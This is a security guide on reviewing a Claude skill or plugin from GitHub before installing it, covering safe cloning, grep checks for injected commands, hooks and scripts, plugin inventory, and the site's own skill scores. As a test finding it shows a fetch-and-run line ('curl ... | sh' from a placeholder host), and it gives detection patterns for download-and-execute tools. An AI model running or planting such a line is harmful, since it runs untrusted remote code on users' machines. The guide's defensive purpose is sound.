Check a Claude Skill From GitHub Before Installing It

A step-by-step review of a GitHub Claude skill or plugin before it runs: clone safely, search for injected commands, hooks and pre-approved tools, read scripts, then install only what you accepted.

Updated · Markdown version

Short answer

Last checked 2026-11-23: to check a Claude skill from GitHub before installing it, clone the repository into a scratch folder that Claude Code does not load, list every file, then search for the four things that can run or act without you asking: shell lines that start with an exclamation mark and a backtick, hooks and allowed-tools in frontmatter, scripts, and plugin files such as hooks/hooks.json and .mcp.json. Read what you find, and copy only the accepted skill into a skills folder. Claude Code watches skill folders, so a skill placed there can load before you finish reading it.

What can actually run

A skill is a folder with a SKILL.md file. The Agent Skills specification, which Claude Code's skill format follows, allows optional scripts/, references/ and assets/ folders beside it, and any other files. The risk comes from five places.

  • Injected shell commands. Claude Code's documentation says the ` !command ` syntax runs shell commands before the skill content is sent to Claude, and the output replaces the placeholder. The inline form is recognized only when the exclamation mark is at the start of a line or after whitespace. A fenced block that opens with three backticks and an exclamation mark does the same. A failed command aborts the whole invocation.
  • Pre-approved tools. The allowed-tools field lists tools Claude can use without asking permission during the turn that invokes the skill. The grant clears when you send your next message. A broad entry such as bare Bash needs a reason.
  • Hooks in frontmatter. The hooks field registers hooks when the skill is invoked and keeps them running for the rest of the session.
  • Scripts the instructions tell Claude to run. These run through Claude's tools, so your permission rules apply to the calls, but the script's content is what matters.
  • Instructions. A skill's text stays in context, so wording that changes how Claude behaves later is also a finding.

Plugins add more. Anthropic's security page says a plugin can carry hooks and monitors that run as shell commands, MCP servers and LSP servers, a bin/ directory added to the PATH of the Bash tool's shell, and mods that run JavaScript inside Claude Code. It says hooks, monitors, MCP servers and LSP servers run outside the sandbox with your full user permissions.

Step by step

1. Clone outside every skills folder

git clone https://github.com/<owner>/<repo>.git review-clone
cd review-clone
git log -3 --format='%h %an %ad %s'

Do not clone into ~/.claude/skills/ or a repository where you run Claude Code. Do not start Claude Code inside the clone yet. If you must run claude -p in a repository you did not write, Claude Code's permissions page lists safer options: pass --setting-sources user so project settings and .mcp.json are not read, or start with --bare so no hooks, skills, custom commands, subagents, plugins or .mcp.json servers load from the project. I confirmed both flags appear in claude --help on version 2.1.330.

2. List every SKILL.md and every other file

find . -name SKILL.md
find . -type f -not -path './.git/*' | head -200

In PowerShell:

Get-ChildItem -Recurse -Filter SKILL.md
Get-ChildItem -Recurse -File | Where-Object { $_.FullName -notmatch '\\\.git\\' }

Expected: one path per skill. On a small test repository I made with one skill, the first command printed ./.claude/skills/shipit/SKILL.md. Note any .claude-plugin/, hooks/, bin/, .mcp.json or scripts/ entries, because those change what you have to read.

3. Read the frontmatter of each skill

grep -rnE '^(name|description|allowed-tools|disallowed-tools|hooks|shell|disable-model-invocation):' --include=SKILL.md .

Expected on my test skill:

./.claude/skills/shipit/SKILL.md:4:allowed-tools: Bash
./.claude/skills/shipit/SKILL.md:5:hooks:

Both lines are findings. For allowed-tools, ask whether the grant is as narrow as the task. Claude Code's documentation gives the narrow form Bash(${CLAUDE_SKILL_DIR}/scripts/render.sh *), which permits one bundled script. For hooks, open the command each hook runs. Check also that name matches the folder name and that description says what the skill does, as the specification requires; a mismatch is not malicious but is a sign of an unmaintained copy.

4. Search for injected commands

grep -rnE '(^|[[:space:]])!`|^```!' .

In PowerShell:

Get-ChildItem -Recurse -File | Select-String -Pattern '(^|\s)!`'

Expected on my test skill, from both shells: a line like SKILL.md:12: Current branch: !git branch --show-current``. Each match runs before Claude reads the skill, and no permission prompt is shown while the skill renders. According to the docs, Claude Code checks each injected command against your permission rules, and outside auto mode aborts the invocation if the check returns anything other than allow. Read every match and confirm it does only what the skill's purpose needs.

5. Read the scripts and search for network and execution patterns

grep -rnEi 'curl|wget|Invoke-WebRequest|\| *(sh|bash)|eval|base64|iex|chmod \+x' .

Expected on my test repository: ./.claude/skills/shipit/scripts/deploy.sh:1:curl -s https://example.invalid/x | sh. A pattern match is a pointer, not a verdict. Open the file. Piping a download into a shell, decoding a blob and executing it, reading ~/.ssh or ~/.aws, and writing outside the project are all things to reject unless the skill's purpose requires them. A search cannot find a script that fetches code at run time from a URL built from variables, so read the whole script.

6. If it is a plugin, inventory it

A plugin repository has .claude-plugin/plugin.json, and may have hooks/hooks.json, .mcp.json and a bin/ folder. Anthropic's security page says to read those three, because the details pane shows that a hook exists but not what it runs. Then list what Claude Code finds in the clone without starting a session:

claude plugin validate ./review-clone
claude --plugin-dir ./review-clone plugin details <plugin-name>

On a small test plugin, details printed this on Claude Code 2.1.330:

Component inventory
  Skills (1)  hello
  Agents (0)
  Hooks (0)
  MCP servers (0)
  LSP servers (0)

Any nonzero Hooks, MCP servers or LSP servers line means more files to read. The plugin validate command checks manifests and skill, agent and command files for format problems. It is not a security review: the documentation says its job is to catch manifest errors, and claude plugin eval help text says a bundled eval suite passing is not a security vetting.

7. Check where the repository comes from

Look at the owner, the history, the license and open issues. For a marketplace, claude plugin marketplace list prints the source each marketplace was added from. Anthropic's documentation says it does not review third-party marketplaces, and its trust warning says it cannot verify what plugins include or that they won't change.

8. Install only what you accepted

For a plain skill, copy the folder (not the repository) to ~/.claude/skills/<name>/ for all projects, or to .claude/skills/<name>/ in one repository. Claude Code picks up the change in the current session; if it does not, run /reload-skills. For a plugin, register your reviewed clone by path and install from it:

claude plugin marketplace add ./review-clone
claude plugin install <plugin>@<marketplace>
claude plugin list

The documentation says a successful install prints Installed plugin: <plugin>@<marketplace> (scope: user) and that claude plugin list shows Version, Scope and Status. A local directory marketplace reads plugin files in place for a relative-path source, so later edits to the clone take effect at the next session or /reload-plugins; re-review before you keep using it. Per the documentation, auto-update is off by default for third-party marketplaces, so a git-hosted plugin will not change under you unless you update it.

Reduce the blast radius

  • Disable injected commands. Set "disableSkillShellExecution": true in settings. Per the documentation each command is then replaced with [shell command execution disabled by policy], for skills from user, project, plugin and additional-directory sources. It is most useful in managed settings.
  • Deny the Skill tool. The skills documentation says denying Skill in permission rules disables all skills, and Skill(deploy *) denies one.
  • Mark a skill manual-only. disable-model-invocation: true stops Claude loading it automatically, so it runs only when you type its slash command.
  • Use the trust dialog. Accept it only for folders you have read. It does not appear in claude -p.

What goes wrong and how to fix it

  • The skill does not appear after you copy it. Cause: the folder may be nested one level too deep. Fix: the file must sit at <skills folder>/<name>/SKILL.md, then run /reload-skills.
  • Invoking the skill fails with no output. Cause: a ` !command ` line failed, and a failed injected command aborts the whole invocation. Fix: run the command yourself in the same folder to see the error, or remove the line.
  • A hook or `allowed-tools` grant applied before you trusted the folder. Cause: in a -p run, a project skill's allowed-tools and hooks are used in a folder you never trusted. Fix: use --bare or --setting-sources user, or review before running there.
  • `Plugin "<name>" not found in marketplace "<marketplace>"`. Cause: you installed by the plugin's own manifest name and the marketplace entry name differs. Fix: install with the entry name that claude plugin list shows.
  • `Source path does not exist: <path>`. Cause: a marketplace entry points to a directory that is not in the clone. claude plugin validate can pass while the install fails; I reproduced the pass on a test marketplace with a missing entry. Fix: correct the entry's source.
  • Your edits to a clone are not used. Cause: a plugin installed from a hosted marketplace is a cached copy. Fix: update with claude plugin update <plugin>@<marketplace> and re-review the diff.
  • The scanner flags a safety skill. Cause: a security checker contains the very patterns it searches for. Fix: read each finding in context, as in the catalogue example below.

What our catalogue shows

Skill Almanac scans each listed skill with Semgrep, Gitleaks and its own rules, records findings, and marks each as a false positive or a real issue after reading it. Our scan of 2026-11-22 recorded 27 findings for skill-safety-audit and every one was triaged as a false positive, for example credential paths that appear in its detection rules and are only searched for in the folder being audited. That is why a count of findings is not a verdict. Scores are our assessment under a published method, How the Platform Score is calculated, and are not a guarantee of safety.

SkillPlatform Score and stateEfficacy verdictInstall verifiedTutorial video
skill-safety-audit57, provisionalLIFT, single-run, 2026-11-21Claude Code 2.1.330, 2026-11-23yes
dependency-license-inventory56, provisionalLIFT, single-run, 2026-11-21Claude Code 2.1.330, 2026-11-23no
verified-skill-finder83, ratedLIFT, measured, 2026-11-22Claude Code 2.1.330, 2026-11-23yes

Single-run means one run per configuration, with credit capped; measured means paired runs with a confidence interval. All three were written by Skill Almanac, so this is our own work being described. skill-safety-audit scans one skill folder and writes a risk table with file and line references, which covers steps 3 to 5. dependency-license-inventory lists licenses for packages a skill ships. verified-skill-finder compares candidate skills. None replaces reading SKILL.md. For an overview of our ranked skills, see Best Claude skills, ranked by measured score.

FAQ

How do I install a Claude skill from GitHub?

Clone the repository outside your skills folders, review the SKILL.md files and anything they can run, then copy the accepted skill's folder to ~/.claude/skills/<name>/ or .claude/skills/<name>/ in a repository. If the repository is a plugin marketplace, add it with claude plugin marketplace add <owner>/<repo> and install with claude plugin install <plugin>@<marketplace>.

Is it safe to install a Claude skill from GitHub?

Only as safe as the files. A skill can contain shell commands that run before Claude reads it, pre-approved tools, hooks and scripts, and Anthropic's documentation says it cannot verify what plugins include. A review does not remove risk, but it lets you see the commands before they run.

What should I look for first?

Search for the exclamation-and-backtick pattern, then allowed-tools and hooks, then scripts using curl, wget, eval or piping into a shell. Those are the places something can run without you asking.

Do I need to restart Claude Code after adding a skill?

Usually no. Claude Code's documentation says it watches skill directories and picks up changes in the current session. If a new skill does not appear, run /reload-skills.

Can a skill run commands the moment I open a repository?

Per the documentation, a project skill's allowed-tools and hooks apply even in a claude -p run in a folder you never trusted, so reviewing a repository before running Claude Code there matters. In interactive sessions Claude Code shows a trust dialog for new folders.

Does `claude plugin validate` tell me a plugin is safe?

No. It checks manifest and file format. It reported a pass with warnings on my test marketplace that had a missing source directory, which then fails at install. Use it to catch format errors, and read the hook, server and script files yourself.

Next steps

Platform Score is our assessment under a published method. It is not a safety guarantee.

Terms this guide uses

This item is a worked example in the AI glossary for:

Next steps

  1. Claude skills marketplace: where to look, what is checked Read next.
  2. Best Claude skills, ranked by measured score Read next.
  3. All guides by topic Browse everything.

Sources

This page is not offered to search engines yet: The content file does not mark this page indexable yet.